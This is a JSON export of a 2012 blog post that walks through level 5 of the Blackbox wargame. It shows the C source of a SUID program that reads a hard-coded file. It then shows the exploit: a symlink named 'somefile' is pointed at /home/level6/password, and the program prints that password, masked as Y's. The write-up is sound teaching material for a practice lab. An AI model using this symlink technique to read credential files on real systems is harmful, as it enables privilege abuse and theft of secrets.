{"id":228,"date":"2012-09-24T19:47:14","date_gmt":"2012-09-25T02:47:14","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=228"},"modified":"2012-09-24T19:47:14","modified_gmt":"2012-09-25T02:47:14","slug":"blackbox-level-5-pathfile-hijacking-with-symlinks","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=228","title":{"rendered":"Blackbox Level 5 – Path\/File Hijacking with Symlinks"},"content":{"rendered":"

Today we’re going to be looking at level 5 of the Blackbox<\/a> wargame from the Smash The Stack<\/a> network. \u00a0As always, the final password will be replaced with Y’s, and if you wish to follow a long, you will already need to have the password to level 5. \u00a0So without further adieu, let’s get started by ssh’ing into blackbox as level5.<\/p>\n

Upon logging in, a quick directory listing shows us an executable called “list” and what we can assume is it’s source code, “list.c”. \u00a0To evaluate the program, let’s move forward by viewing the file “list.c”.<\/p>\n

level5@blackbox:~$ more list.c
\n#include <stdio.h>
\nint main(int argc, char **argv)
\n{
\nchar buf[100];
\nsize_t len;
\nchar fixedbuf[10240];
\nFILE *fh;
\nchar *ptr = fixedbuf;
\nint i;<\/p>\n

fh = fopen(“somefile”, “r”);
\nif(!fh)
\nreturn 0;<\/p>\n

while((len = fread(buf, 1, 100, fh)) > 0) {
\nfor(i = 0; i < len; i++) {
\n\/\/ Disable output modifiers
\nswitch(buf[i]) {
\ncase 0xFF:
\ncase 0x00:
\ncase 0x01:
\nbreak;
\ndefault:
\n*ptr = buf[i];
\nptr++;
\n}
\n}
\n}
\nprintf(“%s”, fixedbuf);<\/p>\n

fclose(fh);
\n}<\/p><\/blockquote>\n

Upon inspection we can see a few members of the main function declared, followed by the procedure. \u00a0Some of the members are: a 100 character array called buf, a variable called len which is of size_t, a 10K char array called fixedbuf, a FILE pointer called fh, a char pointer called ptr (instantiated to point to the start of fixedbuf), and an int called i. \u00a0Following member declaration, the procedure starts.<\/p>\n

First, a local file called “somefile” is opened for reading and passed to the FILE pointer “fh”. \u00a0If there is a problem opening the file for reading, the program exits returning 0. \u00a0Next, 100 bytes are read from the file at a time into the “buf” array. \u00a0These bytes are read through progressively and as long as they aren’t an instance of 0xFF, 0x00, or 0x01, they are copied into “fixedbuf”, and the next byte is assessed. \u00a0Once the full file has been copied into “fixedbuf,” the printf is called to print the string represented at “fixedbuf.” \u00a0Finally “fh” is closed and the program exits.<\/p>\n

So, let’s think about how this program works, and how we might be able to alter it’s assumptions to get the password for level 6. \u00a0We know that blowfish stores passwords in the home directories, so we need to read \/home\/level6\/password. \u00a0We also know this program is running SUID as level6 and thus should be able to read that file. \u00a0However, the program is set to read a hard-coded file name, the file called “somefile” in the current directory. \u00a0Thus, what can we do? \u00a0Even if we switched directories to \/home\/level6, how could we get the program to read “password” file instead of “somefile” file?<\/p>\n

Well, we can use links. \u00a0Links are available in many operating systems and essentially allow for multiple virtual locations (such as “\/tmp\/.tt\/file1” and “\/tmp\/.tt\/file2”) to point to the same physical file on a disk. \u00a0This is useful to save space on a disk or help organize files that are shared. \u00a0Symbolic links or symlinks make it so even though two different paths point to the same file, they still resolve as the separate paths. \u00a0We can make use of symlinks in this level to create a symlink called “somefile” in the local directory which points to the file we want to read, \/home\/level6\/password. \u00a0To make a link we’re going to use the linux command “ln”. \u00a0To get information on the command, please perform “ln –help” on your own, I don’t want to post it here just to save space. \u00a0However, in creating symlinks, we’re going to have to use the -s flag. \u00a0Let’s look at making the symlink in action:<\/p>\n

level5@blackbox:\/tmp\/.ttt$ ln -s \/home\/level6\/password .\/somefile
\nlevel5@blackbox:\/tmp\/.ttt$ ls -la
\ntotal 16
\ndrwxr-xr-x 2 level5 gamers 4096 Sep 25 02:40 .
\ndrwx-wx-wt 95 root root 12288 Sep 25 02:40 ..
\nlrwxrwxrwx 1 level5 gamers 21 Sep 25 02:40 somefile -> \/home\/level6\/password<\/p><\/blockquote>\n

From the file listing, we can see that there is now a file called “somefile” and on the information about the file, it is marked as “l” for link. \u00a0We also see that it points to \/home\/level6\/password. \u00a0Now let’s go a head and run the vulnerable program and see if it resolves the link and reads the password for us!<\/p>\n

level5@blackbox:\/tmp\/.ttt$ ~\/list
\nYYYYYYYYYYYY<\/p><\/blockquote>\n

There we have it! \u00a0Using a simple symlink we were able to take a program which reads and displays the contents of a file with a hardcoded filename, and cause it to output any file of our choosing, even one with sensitive information such as a password!<\/p>\n","protected":false},"excerpt":{"rendered":"

Today we’re going to be looking at level 5 of the Blackbox wargame from the Smash The Stack network. \u00a0As always, the final password will be replaced with Y’s, and if you wish to follow a long, you will already … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[7,6,4],"tags":[48,49,11,47],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/228"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=228"}],"version-history":[{"count":8,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/228\/revisions"}],"predecessor-version":[{"id":236,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/228\/revisions\/236"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=228"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=228"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=228"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}